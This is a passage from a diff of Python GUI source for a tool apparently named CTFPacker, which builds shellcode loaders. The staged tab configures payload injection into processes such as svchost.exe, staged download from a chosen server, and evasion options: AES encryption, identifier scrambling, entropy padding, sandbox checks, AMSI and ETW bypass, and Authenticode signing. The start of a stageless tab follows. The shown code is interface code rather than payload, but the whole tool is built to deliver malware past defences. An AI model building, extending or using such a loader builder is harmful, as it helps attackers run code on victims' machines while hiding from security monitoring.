self._setup_ui()
|
||||
self._setup_tooltips()
|
||||
self._setup_shortcuts()
|
||||
self._connect_adaptive()
|
||||
self._refresh_profiles()
|
||||
|
||||
# ── Page indices ──────────────────────────────────────────────────────
|
||||
PAGE_PAYLOAD = 0
|
||||
PAGE_FORMAT = 1
|
||||
PAGE_NETWORK = 2
|
||||
PAGE_EVASION = 3
|
||||
PAGE_SIGNING = 4
|
||||
PAGE_OUTPUT = 5
|
||||
|
||||
def _setup_ui(self):
|
||||
outer = QVBoxLayout(self)
|
||||
outer.setContentsMargins(0, 0, 0, 0)
|
||||
outer.setSpacing(0)
|
||||
|
||||
# ── Top bar: Profiles ──────────────────────────────────────────────
|
||||
bar = QWidget()
|
||||
bar.setObjectName("profilesBar")
|
||||
bl = QHBoxLayout(bar)
|
||||
bl.setContentsMargins(12, 7, 12, 7)
|
||||
self._profile_combo = QComboBox()
|
||||
self._profile_combo.setMinimumWidth(180)
|
||||
self._profile_combo.currentTextChanged.connect(self._load_profile)
|
||||
self._save_btn = QPushButton("Save")
|
||||
self._save_btn.clicked.connect(self._save_profile)
|
||||
delete_btn = QPushButton("Delete")
|
||||
delete_btn.setObjectName("deleteButton")
|
||||
delete_btn.clicked.connect(self._delete_profile)
|
||||
export_btn = QPushButton("Export ↑")
|
||||
export_btn.setToolTip("Export selected profile to a .ctfp file")
|
||||
export_btn.clicked.connect(self._export_profile)
|
||||
import_btn = QPushButton("Import ↓")
|
||||
import_btn.setToolTip("Import a .ctfp profile file")
|
||||
import_btn.clicked.connect(self._import_profile)
|
||||
bl.addWidget(QLabel("Profile:"))
|
||||
bl.addWidget(self._profile_combo, stretch=1)
|
||||
bl.addWidget(self._save_btn)
|
||||
bl.addWidget(delete_btn)
|
||||
bl.addWidget(export_btn)
|
||||
bl.addWidget(import_btn)
|
||||
outer.addWidget(bar)
|
||||
|
||||
# ── Body: sidebar + pages ──────────────────────────────────────────
|
||||
body = QWidget()
|
||||
body_layout = QHBoxLayout(body)
|
||||
body_layout.setContentsMargins(0, 0, 0, 0)
|
||||
body_layout.setSpacing(0)
|
||||
|
||||
self._nav = QListWidget()
|
||||
self._nav.setObjectName("sideNav")
|
||||
self._nav.setFixedWidth(148)
|
||||
self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
|
||||
self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
|
||||
for name in ("Payload", "Format", "Network", "Evasion", "Code Signing", "Output"):
|
||||
self._nav.addItem(name)
|
||||
|
||||
vdiv = QFrame()
|
||||
vdiv.setFrameShape(QFrame.Shape.VLine)
|
||||
vdiv.setFrameShadow(QFrame.Shadow.Plain)
|
||||
|
||||
self._stack = QStackedWidget()
|
||||
self._stack.addWidget(self._page_payload())
|
||||
self._stack.addWidget(self._page_format())
|
||||
self._stack.addWidget(self._page_network())
|
||||
self._stack.addWidget(self._page_evasion())
|
||||
self._stack.addWidget(self._page_signing())
|
||||
self._stack.addWidget(self._page_output())
|
||||
|
||||
self._nav.currentRowChanged.connect(self._stack.setCurrentIndex)
|
||||
self._nav.setCurrentRow(0)
|
||||
|
||||
body_layout.addWidget(self._nav)
|
||||
body_layout.addWidget(vdiv)
|
||||
body_layout.addWidget(self._stack, stretch=1)
|
||||
outer.addWidget(body, stretch=1)
|
||||
|
||||
# ── Bottom bar: BUILD + Reset ──────────────────────────────────────
|
||||
sep_bot = QFrame()
|
||||
sep_bot.setFrameShape(QFrame.Shape.HLine)
|
||||
sep_bot.setFrameShadow(QFrame.Shadow.Plain)
|
||||
outer.addWidget(sep_bot)
|
||||
|
||||
footer = QWidget()
|
||||
footer.setObjectName("buildFooter")
|
||||
fl = QHBoxLayout(footer)
|
||||
fl.setContentsMargins(12, 8, 12, 8)
|
||||
self._build_btn = QPushButton("BUILD")
|
||||
self._build_btn.setObjectName("buildButton")
|
||||
self._build_btn.clicked.connect(self._on_build)
|
||||
self._reset_btn = QPushButton("Reset")
|
||||
self._reset_btn.setToolTip("Reset all fields to defaults")
|
||||
self._reset_btn.setFixedWidth(80)
|
||||
self._reset_btn.clicked.connect(self._reset_defaults)
|
||||
fl.addWidget(self._build_btn, stretch=1)
|
||||
fl.addWidget(self._reset_btn)
|
||||
outer.addWidget(footer)
|
||||
|
||||
# ── Page helpers ───────────────────────────────────────────────────────
|
||||
|
||||
def _make_page(self):
|
||||
"""Scroll-wrapped page container. Returns (scroll_widget, layout)."""
|
||||
inner = QWidget()
|
||||
layout = QVBoxLayout(inner)
|
||||
layout.setContentsMargins(28, 22, 28, 22)
|
||||
layout.setSpacing(16)
|
||||
scroll = QScrollArea()
|
||||
scroll.setWidgetResizable(True)
|
||||
scroll.setFrameShape(QFrame.Shape.NoFrame)
|
||||
scroll.setWidget(inner)
|
||||
return scroll, layout
|
||||
|
||||
def _page_header(self, title: str, subtitle: str = "") -> QWidget:
|
||||
"""Consistent page title + thin rule."""
|
||||
w = QWidget()
|
||||
vl = QVBoxLayout(w)
|
||||
vl.setContentsMargins(0, 0, 0, 6)
|
||||
vl.setSpacing(3)
|
||||
t = QLabel(title)
|
||||
t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;")
|
||||
vl.addWidget(t)
|
||||
if subtitle:
|
||||
s = QLabel(subtitle)
|
||||
s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;")
|
||||
vl.addWidget(s)
|
||||
line = QFrame()
|
||||
line.setFrameShape(QFrame.Shape.HLine)
|
||||
line.setFrameShadow(QFrame.Shadow.Plain)
|
||||
vl.addWidget(line)
|
||||
return w
|
||||
|
||||
# ── Pages ──────────────────────────────────────────────────────────────
|
||||
|
||||
def _page_payload(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader"))
|
||||
self._payload_edit = DropZone(
|
||||
file_filter="Binary Files (*.bin);;All Files (*)",
|
||||
filter_exts=['.bin'],
|
||||
hint_text="Drag & drop shellcode (.bin) here",
|
||||
browse_title="Select Shellcode Binary",
|
||||
parent=self)
|
||||
self._payload_edit.path_changed.connect(
|
||||
lambda: self._clear_validation(self._payload_edit))
|
||||
layout.addWidget(self._payload_edit)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_format(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Output Format", "Loader type and injection technique"))
|
||||
|
||||
form = QFormLayout()
|
||||
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form.setHorizontalSpacing(12)
|
||||
form.setVerticalSpacing(10)
|
||||
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint)
|
||||
|
||||
self._format_combo = QComboBox()
|
||||
self._format_combo.addItems(["EXE", "DLL"])
|
||||
self._format_combo.setMinimumWidth(140)
|
||||
form.addRow("Format:", self._format_combo)
|
||||
|
||||
self._inject_combo = QComboBox()
|
||||
self._inject_combo.addItems(["apc", "copyfile2"])
|
||||
self._inject_combo.setMinimumWidth(140)
|
||||
form.addRow("Injection:", self._inject_combo)
|
||||
|
||||
self._target_label = QLabel("Target process:")
|
||||
self._target_combo = QComboBox()
|
||||
self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"])
|
||||
self._target_combo.setMinimumWidth(140)
|
||||
form.addRow(self._target_label, self._target_combo)
|
||||
|
||||
layout.addLayout(form)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_network(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Network", "Staged payload download parameters"))
|
||||
|
||||
form = QFormLayout()
|
||||
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form.setHorizontalSpacing(12)
|
||||
form.setVerticalSpacing(10)
|
||||
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
|
||||
|
||||
self._ip_edit = QLineEdit()
|
||||
self._ip_edit.setPlaceholderText("192.168.1.150")
|
||||
self._ip_edit.textChanged.connect(lambda: self._clear_validation(self._ip_edit))
|
||||
form.addRow("IP" + REQ + ":", self._ip_edit)
|
||||
|
||||
self._port_spin = QSpinBox()
|
||||
self._port_spin.setRange(1, 65535)
|
||||
self._port_spin.setValue(8080)
|
||||
form.addRow("Port:", self._port_spin)
|
||||
|
||||
path_row = QHBoxLayout()
|
||||
path_row.setSpacing(10)
|
||||
self._path_edit = QLineEdit()
|
||||
self._path_edit.setPlaceholderText("/shellcode.bin")
|
||||
self._path_edit.setMaximumWidth(220)
|
||||
self._path_edit.textChanged.connect(lambda: self._clear_validation(self._path_edit))
|
||||
self._https_check = QCheckBox("HTTPS")
|
||||
path_row.addWidget(self._path_edit)
|
||||
path_row.addWidget(self._https_check)
|
||||
path_row.addStretch()
|
||||
form.addRow("Path" + REQ + ":", path_row)
|
||||
|
||||
self._ua_edit = QLineEdit()
|
||||
self._ua_edit.setText(BuildConfig.user_agent)
|
||||
form.addRow("User-Agent:", self._ua_edit)
|
||||
|
||||
layout.addLayout(form)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_evasion(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques"))
|
||||
|
||||
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
|
||||
self._scramble_check = QCheckBox("Scramble functions and variables")
|
||||
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
|
||||
self._sandbox_check = QCheckBox("Sandbox checks")
|
||||
for check in (self._encrypt_check, self._scramble_check,
|
||||
self._entropy_check, self._sandbox_check):
|
||||
layout.addWidget(check)
|
||||
|
||||
self._sb_thresh_row = QWidget()
|
||||
thresh_layout = QHBoxLayout(self._sb_thresh_row)
|
||||
thresh_layout.setContentsMargins(22, 0, 0, 0)
|
||||
thresh_layout.setSpacing(5)
|
||||
self._sb_uptime_lbl = QLabel("uptime")
|
||||
self._sb_uptime_spin = QSpinBox()
|
||||
self._sb_uptime_spin.setRange(0, 86400)
|
||||
self._sb_uptime_spin.setSingleStep(60)
|
||||
self._sb_uptime_spin.setValue(300)
|
||||
self._sb_uptime_spin.setSuffix(" s")
|
||||
self._sb_uptime_spin.setFixedWidth(72)
|
||||
self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample")
|
||||
self._sb_ram_lbl = QLabel("RAM")
|
||||
self._sb_ram_spin = QSpinBox()
|
||||
self._sb_ram_spin.setRange(1, 512)
|
||||
self._sb_ram_spin.setValue(4)
|
||||
self._sb_ram_spin.setSuffix(" GB")
|
||||
self._sb_ram_spin.setFixedWidth(76)
|
||||
self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained")
|
||||
self._sb_cpu_lbl = QLabel("CPUs")
|
||||
self._sb_cpu_spin = QSpinBox()
|
||||
self._sb_cpu_spin.setRange(1, 256)
|
||||
self._sb_cpu_spin.setValue(2)
|
||||
self._sb_cpu_spin.setSuffix(" CPU")
|
||||
self._sb_cpu_spin.setFixedWidth(76)
|
||||
self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU")
|
||||
for lbl, spin in (
|
||||
(self._sb_uptime_lbl, self._sb_uptime_spin),
|
||||
(self._sb_ram_lbl, self._sb_ram_spin),
|
||||
(self._sb_cpu_lbl, self._sb_cpu_spin),
|
||||
):
|
||||
thresh_layout.addWidget(lbl)
|
||||
thresh_layout.addWidget(spin)
|
||||
thresh_layout.addSpacing(12)
|
||||
thresh_layout.addStretch()
|
||||
self._sb_thresh_row.setVisible(False)
|
||||
self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible)
|
||||
layout.addWidget(self._sb_thresh_row)
|
||||
|
||||
# ── Trampoline hooks (TrampoLatté) ───────────────────────────────
|
||||
sep = QFrame()
|
||||
sep.setFrameShape(QFrame.Shape.HLine)
|
||||
sep.setFrameShadow(QFrame.Shadow.Plain)
|
||||
layout.addSpacing(6)
|
||||
layout.addWidget(sep)
|
||||
|
||||
hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)")
|
||||
hooks_lbl.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
|
||||
"letter-spacing: 0.6px; text-transform: uppercase; "
|
||||
"background: transparent; border: none;")
|
||||
layout.addWidget(hooks_lbl)
|
||||
|
||||
self._amsi_check = QCheckBox("AMSI bypass")
|
||||
self._amsi_check.setToolTip(
|
||||
"Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n"
|
||||
"Bypasses .NET / PowerShell AMSI scanning.")
|
||||
self._etw_check = QCheckBox("ETW bypass")
|
||||
self._etw_check.setToolTip(
|
||||
"Trampolines EtwpEventWriteFull → immediate RET.\n"
|
||||
"Silences ETW telemetry from the CLR / runtime.")
|
||||
self._debug_check = QCheckBox("Debug mode (OutputDebugString)")
|
||||
self._debug_check.setToolTip(
|
||||
"Enables [TrampoLatte] debug prints via OutputDebugStringA.\n"
|
||||
"Visible in x64dbg / WinDbg / DebugView. Disable for production.")
|
||||
layout.addWidget(self._amsi_check)
|
||||
layout.addWidget(self._etw_check)
|
||||
layout.addWidget(self._debug_check)
|
||||
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_signing(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate"))
|
||||
|
||||
self._pfx_edit = DropZone(
|
||||
hint_text="Drag & drop certificate (.pfx) here",
|
||||
browse_title="Select PFX certificate",
|
||||
file_filter="PFX Files (*.pfx);;All Files (*)",
|
||||
filter_exts=[".pfx"],
|
||||
parent=self)
|
||||
layout.addWidget(self._pfx_edit)
|
||||
|
||||
form_sign = QFormLayout()
|
||||
form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form_sign.setHorizontalSpacing(12)
|
||||
form_sign.setVerticalSpacing(10)
|
||||
form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
|
||||
|
||||
self._pfx_pass_edit = QLineEdit()
|
||||
self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password)
|
||||
form_sign.addRow("PFX Password:", self._pfx_pass_edit)
|
||||
layout.addLayout(form_sign)
|
||||
|
||||
sep = QFrame()
|
||||
sep.setFrameShape(QFrame.Shape.HLine)
|
||||
sep.setFrameShadow(QFrame.Shadow.Plain)
|
||||
layout.addSpacing(4)
|
||||
layout.addWidget(sep)
|
||||
|
||||
meta_label = QLabel("Signature Metadata")
|
||||
meta_label.setStyleSheet(
|
||||
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
|
||||
"letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;")
|
||||
layout.addWidget(meta_label)
|
||||
|
||||
form_meta = QFormLayout()
|
||||
form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
|
||||
form_meta.setHorizontalSpacing(12)
|
||||
form_meta.setVerticalSpacing(10)
|
||||
form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
|
||||
|
||||
self._sign_desc_edit = QLineEdit()
|
||||
self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)")
|
||||
self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.")
|
||||
form_meta.addRow("Publisher Name:", self._sign_desc_edit)
|
||||
|
||||
self._sign_url_edit = QLineEdit()
|
||||
self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)")
|
||||
self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.")
|
||||
form_meta.addRow("Publisher URL:", self._sign_url_edit)
|
||||
|
||||
layout.addLayout(form_meta)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _page_output(self):
|
||||
page, layout = self._make_page()
|
||||
layout.addWidget(self._page_header("Output", "Output file path and base name"))
|
||||
out_row, self._output_edit = file_picker_row(
|
||||
self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True)
|
||||
layout.addLayout(out_row)
|
||||
layout.addStretch()
|
||||
return page
|
||||
|
||||
def _setup_tooltips(self):
|
||||
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
|
||||
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
|
||||
self._inject_combo.setToolTip(
|
||||
"APC: Queue APC to suspended process (stealthier)\n"
|
||||
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
|
||||
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
|
||||
self._ip_edit.setToolTip("IP/hostname of shellcode download server")
|
||||
self._port_spin.setToolTip("Port of shellcode download server")
|
||||
self._path_edit.setToolTip("URL path to shellcode file (e.g. /shellcode.bin)")
|
||||
self._https_check.setToolTip("Use HTTPS instead of HTTP for the download")
|
||||
self._ua_edit.setToolTip("User-Agent header for HTTP/HTTPS download request")
|
||||
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
|
||||
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
|
||||
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
|
||||
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
|
||||
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
|
||||
self._pfx_pass_edit.setToolTip("Password for the PFX certificate file")
|
||||
self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)")
|
||||
self._build_btn.setToolTip("Start the build (Ctrl+B)")
|
||||
self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)")
|
||||
|
||||
def _setup_shortcuts(self):
|
||||
QShortcut(QKeySequence("Ctrl+B"), self, self._on_build)
|
||||
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
|
||||
|
||||
def _connect_adaptive(self):
|
||||
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
|
||||
self._format_combo.currentTextChanged.connect(self._on_format_changed)
|
||||
self._on_inject_changed(self._inject_combo.currentText())
|
||||
self._on_format_changed(self._format_combo.currentText())
|
||||
|
||||
def _on_inject_changed(self, method: str):
|
||||
is_apc = method == "apc"
|
||||
self._target_label.setVisible(is_apc)
|
||||
self._target_combo.setVisible(is_apc)
|
||||
|
||||
def _on_format_changed(self, fmt: str):
|
||||
is_exe = fmt == "EXE"
|
||||
item = self._nav.item(self.PAGE_SIGNING)
|
||||
if is_exe:
|
||||
item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)
|
||||
else:
|
||||
item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable))
|
||||
if self._nav.currentRow() == self.PAGE_SIGNING:
|
||||
self._nav.setCurrentRow(self.PAGE_OUTPUT)
|
||||
|
||||
def set_build_enabled(self, enabled: bool):
|
||||
self._build_btn.setEnabled(enabled)
|
||||
if enabled:
|
||||
self._build_btn.setText("BUILD")
|
||||
else:
|
||||
self._build_btn.setText("BUILDING...")
|
||||
|
||||
def _validate(self) -> bool:
|
||||
errors = []
|
||||
|
||||
payload = self._payload_edit.text().strip()
|
||||
if not payload:
|
||||
self._set_validation_error(self._payload_edit)
|
||||
errors.append("Payload file")
|
||||
elif not os.path.isfile(payload):
|
||||
self._set_validation_error(self._payload_edit)
|
||||
errors.append(f"Payload file not found: {payload}")
|
||||
|
||||
if not self._ip_edit.text().strip():
|
||||
self._set_validation_error(self._ip_edit)
|
||||
errors.append("IP address")
|
||||
|
||||
if not self._path_edit.text().strip():
|
||||
self._set_validation_error(self._path_edit)
|
||||
errors.append("Download path")
|
||||
|
||||
if errors:
|
||||
dlg_warn(self, "Missing Required Fields",
|
||||
f"Please fill in: {', '.join(errors)}")
|
||||
return False
|
||||
return True
|
||||
|
||||
@staticmethod
|
||||
def _set_validation_error(widget):
|
||||
widget.setProperty("validationError", True)
|
||||
widget.style().unpolish(widget)
|
||||
widget.style().polish(widget)
|
||||
|
||||
@staticmethod
|
||||
def _clear_validation(widget):
|
||||
if widget.property("validationError"):
|
||||
widget.setProperty("validationError", False)
|
||||
widget.style().unpolish(widget)
|
||||
widget.style().polish(widget)
|
||||
|
||||
def _on_build(self):
|
||||
if not self._build_btn.isEnabled():
|
||||
return
|
||||
if not self._validate():
|
||||
return
|
||||
|
||||
config = BuildConfig(
|
||||
mode="staged",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
ip_address=self._ip_edit.text(),
|
||||
port=self._port_spin.value(),
|
||||
path=self._path_edit.text(),
|
||||
https=self._https_check.isChecked(),
|
||||
user_agent=self._ua_edit.text(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
sandbox_min_ram_gb=self._sb_ram_spin.value(),
|
||||
sandbox_min_cpu=self._sb_cpu_spin.value(),
|
||||
bypass_amsi=self._amsi_check.isChecked(),
|
||||
bypass_etw=self._etw_check.isChecked(),
|
||||
debug_mode=self._debug_check.isChecked(),
|
||||
pfx=self._pfx_edit.text() or None,
|
||||
pfx_password=self._pfx_pass_edit.text() or None,
|
||||
sign_description=self._sign_desc_edit.text().strip(),
|
||||
sign_url=self._sign_url_edit.text().strip(),
|
||||
output=self._output_edit.text() or "ctfloader",
|
||||
)
|
||||
self.build_requested.emit(config)
|
||||
|
||||
def _apply_config(self, config: BuildConfig):
|
||||
self._payload_edit.setText(config.payload_path)
|
||||
self._format_combo.setCurrentText(config.format)
|
||||
self._inject_combo.setCurrentText(config.inject_method)
|
||||
self._target_combo.setCurrentText(config.target_process)
|
||||
self._ip_edit.setText(config.ip_address)
|
||||
self._port_spin.setValue(config.port)
|
||||
self._path_edit.setText(config.path)
|
||||
self._https_check.setChecked(config.https)
|
||||
self._ua_edit.setText(config.user_agent)
|
||||
self._encrypt_check.setChecked(config.encrypt)
|
||||
self._scramble_check.setChecked(config.scramble)
|
||||
self._entropy_check.setChecked(getattr(config, 'entropy_reduction', False))
|
||||
self._sandbox_check.setChecked(getattr(config, 'sandbox_checks', False))
|
||||
self._sb_uptime_spin.setValue(getattr(config, 'sandbox_min_uptime_s', 300))
|
||||
self._sb_ram_spin.setValue(getattr(config, 'sandbox_min_ram_gb', 4))
|
||||
self._sb_cpu_spin.setValue(getattr(config, 'sandbox_min_cpu', 2))
|
||||
self._amsi_check.setChecked(getattr(config, 'bypass_amsi', False))
|
||||
self._etw_check.setChecked(getattr(config, 'bypass_etw', False))
|
||||
self._debug_check.setChecked(getattr(config, 'debug_mode', False))
|
||||
self._pfx_edit.setText(config.pfx or "")
|
||||
self._pfx_pass_edit.setText("") # never restored — password is not persisted
|
||||
self._sign_desc_edit.setText(getattr(config, 'sign_description', '') or "")
|
||||
self._sign_url_edit.setText(getattr(config, 'sign_url', '') or "")
|
||||
self._output_edit.setText(config.output)
|
||||
|
||||
def _reset_defaults(self):
|
||||
"""Reset all fields to BuildConfig defaults."""
|
||||
self._apply_config(BuildConfig(mode="staged"))
|
||||
self._profile_combo.setCurrentIndex(0)
|
||||
|
||||
# -- Profile management --
|
||||
|
||||
def _refresh_profiles(self):
|
||||
self._profile_combo.blockSignals(True)
|
||||
self._profile_combo.clear()
|
||||
self._profile_combo.addItem("")
|
||||
for name in self._history.list_profiles("staged"):
|
||||
self._profile_combo.addItem(name)
|
||||
self._profile_combo.blockSignals(False)
|
||||
|
||||
def _load_profile(self, name: str):
|
||||
if not name:
|
||||
return
|
||||
config = self._history.load_profile("staged", name)
|
||||
if config:
|
||||
self._apply_config(config)
|
||||
|
||||
def _save_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
name, ok = dlg_text(self, "Save Profile", "Profile name:")
|
||||
if not ok or not name.strip():
|
||||
return
|
||||
name = name.strip()
|
||||
|
||||
config = BuildConfig(
|
||||
mode="staged",
|
||||
payload_path=self._payload_edit.text(),
|
||||
format=self._format_combo.currentText(),
|
||||
inject_method=self._inject_combo.currentText(),
|
||||
target_process=self._target_combo.currentText(),
|
||||
ip_address=self._ip_edit.text(),
|
||||
port=self._port_spin.value(),
|
||||
path=self._path_edit.text(),
|
||||
https=self._https_check.isChecked(),
|
||||
user_agent=self._ua_edit.text(),
|
||||
encrypt=self._encrypt_check.isChecked(),
|
||||
scramble=self._scramble_check.isChecked(),
|
||||
entropy_reduction=self._entropy_check.isChecked(),
|
||||
sandbox_checks=self._sandbox_check.isChecked(),
|
||||
sandbox_min_uptime_s=self._sb_uptime_spin.value(),
|
||||
sandbox_min_ram_gb=self._sb_ram_spin.value(),
|
||||
sandbox_min_cpu=self._sb_cpu_spin.value(),
|
||||
bypass_amsi=self._amsi_check.isChecked(),
|
||||
bypass_etw=self._etw_check.isChecked(),
|
||||
debug_mode=self._debug_check.isChecked(),
|
||||
pfx=self._pfx_edit.text() or None,
|
||||
pfx_password=self._pfx_pass_edit.text() or None,
|
||||
sign_description=self._sign_desc_edit.text().strip(),
|
||||
sign_url=self._sign_url_edit.text().strip(),
|
||||
output=self._output_edit.text() or "ctfloader",
|
||||
)
|
||||
self._history.save_profile("staged", name, config)
|
||||
self._refresh_profiles()
|
||||
self._profile_combo.setCurrentText(name)
|
||||
|
||||
def _delete_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
return
|
||||
if dlg_ask(self, "Delete Profile", f"Delete profile '{name}'?"):
|
||||
self._history.delete_profile("staged", name)
|
||||
self._refresh_profiles()
|
||||
|
||||
def _export_profile(self):
|
||||
name = self._profile_combo.currentText().strip()
|
||||
if not name:
|
||||
dlg_warn(self, "No Profile Selected",
|
||||
"Select a saved profile before exporting.")
|
||||
return
|
||||
try:
|
||||
data = self._history.export_profile("staged", name)
|
||||
except KeyError:
|
||||
dlg_warn(self, "Export Failed",
|
||||
f"Profile '{name}' could not be found.")
|
||||
return
|
||||
path, _ = QFileDialog.getSaveFileName(
|
||||
self, "Export Profile", f"{name}.ctfp",
|
||||
"CTFPacker Profile (*.ctfp);;All Files (*)")
|
||||
if not path:
|
||||
return
|
||||
try:
|
||||
with open(path, "w") as fh:
|
||||
json.dump(data, fh, indent=2)
|
||||
except IOError as exc:
|
||||
dlg_error(self, "Export Failed", f"Could not write file:\n{exc}")
|
||||
|
||||
def _import_profile(self):
|
||||
path, _ = QFileDialog.getOpenFileName(
|
||||
self, "Import Profile", "",
|
||||
"CTFPacker Profile (*.ctfp);;All Files (*)")
|
||||
if not path:
|
||||
return
|
||||
try:
|
||||
with open(path, "r") as fh:
|
||||
data = json.load(fh)
|
||||
except (json.JSONDecodeError, IOError) as exc:
|
||||
dlg_error(self, "Import Failed",
|
||||
f"Could not read profile file:\n{exc}")
|
||||
return
|
||||
|
||||
profile_mode = data.get("mode", "")
|
||||
profile_name = data.get("name", "").strip()
|
||||
|
||||
if profile_mode not in ("staged", "stageless"):
|
||||
dlg_error(self, "Import Failed",
|
||||
"Invalid profile file: unknown mode.")
|
||||
return
|
||||
|
||||
if profile_mode != "staged":
|
||||
if not dlg_ask(self, "Mode Mismatch",
|
||||
f"This profile is for the <b>{profile_mode}</b> tab, "
|
||||
f"not staged.\nIt will be imported into the "
|
||||
f"<b>{profile_mode}</b> profile list.\n\nContinue?",
|
||||
default_yes=True):
|
||||
return
|
||||
|
||||
if profile_name in self._history.list_profiles(profile_mode):
|
||||
if not dlg_ask(self, "Profile Exists",
|
||||
f"A profile named '{profile_name}' already exists "
|
||||
f"in the {profile_mode} tab.\nOverwrite?"):
|
||||
return
|
||||
|
||||
try:
|
||||
mode, name = self._history.import_profile(data)
|
||||
except ValueError as exc:
|
||||
dlg_error(self, "Import Failed", str(exc))
|
||||
return
|
||||
|
||||
self.profile_imported.emit()
|
||||
if mode == "staged":
|
||||
self._profile_combo.setCurrentText(name)
|
||||
else:
|
||||
dlg_info(self, "Profile Imported",
|
||||
f"Profile '{name}' imported into the {mode} tab.")
|
||||
@@ -0,0 +1,623 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Stageless payload configuration tab."""
|
||||
import os
|
||||
import json
|
||||
|
||||
from PyQt6.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel,
|
||||
QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox,
|
||||
QScrollArea, QFrame, QListWidget, QStackedWidget,
|
||||
QListWidgetItem, QFileDialog
|
||||
)
|
||||
from PyQt6.QtCore import pyqtSignal, Qt
|
||||
from PyQt6.QtGui import QKeySequence, QShortcut
|
||||
|
||||
from core.build_config import BuildConfig
|
||||
from gui.theme import TEXT_DIM
|
||||
from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text
|
||||
from gui.history import HistoryManager
|
||||
|
||||
REQ = " *"
|
||||
|
||||
|
||||
class StagelessTab(QWidget):
|
||||
"""Form for stageless payload configuration."""
|
||||
|
||||
build_requested = pyqtSignal(object) # emits BuildConfig
|
||||
profile_imported = pyqtSignal() # emitted after a .ctfp import
|
||||
|
